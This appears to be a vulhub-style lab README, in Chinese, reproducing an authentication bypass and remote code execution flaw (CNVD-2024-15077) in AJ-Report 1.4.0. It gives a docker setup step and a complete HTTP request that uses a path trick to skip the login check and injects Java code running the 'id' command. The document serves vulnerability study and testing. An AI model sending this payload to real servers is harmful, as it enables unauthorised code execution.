Aaron
63285f61aa
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41 lines
1.6 KiB
Markdown
41 lines
1.6 KiB
Markdown
# AJ-Report 认证绕过与远程代码执行漏洞（CNVD-2024-15077）
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AJ-Report是全开源的一个BI平台。在其1.4.0版本及以前，存在一处认证绕过漏洞，攻击者利用该漏洞可以绕过权限校验并执行任意代码。
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参考链接：
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- <https://xz.aliyun.com/t/14460>
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- <https://github.com/wy876/POC/blob/main/AJ-Report%E5%BC%80%E6%BA%90%E6%95%B0%E6%8D%AE%E5%A4%A7%E5%B1%8F%E5%AD%98%E5%9C%A8%E8%BF%9C%E7%A8%8B%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E.md>
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## 漏洞环境
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执行如下命令启动一个AJ-Report 1.4.0服务器：
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```
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docker compose up -d
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```
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服务启动后，你可以在`http://your-ip:9095`查看到登录页面。
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## 漏洞复现
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要利用该漏洞，只需要发送如下数据包：
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```
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POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
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Host: your-ip:9095
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User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
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Accept-Encoding: gzip, deflate, br
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Accept-Language: zh-CN,zh;q=0.9
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Content-Type: application/json;charset=UTF-8
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Connection: close
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Content-Length: 339
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{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}
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```
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可见，`id`命令已经执行成功：
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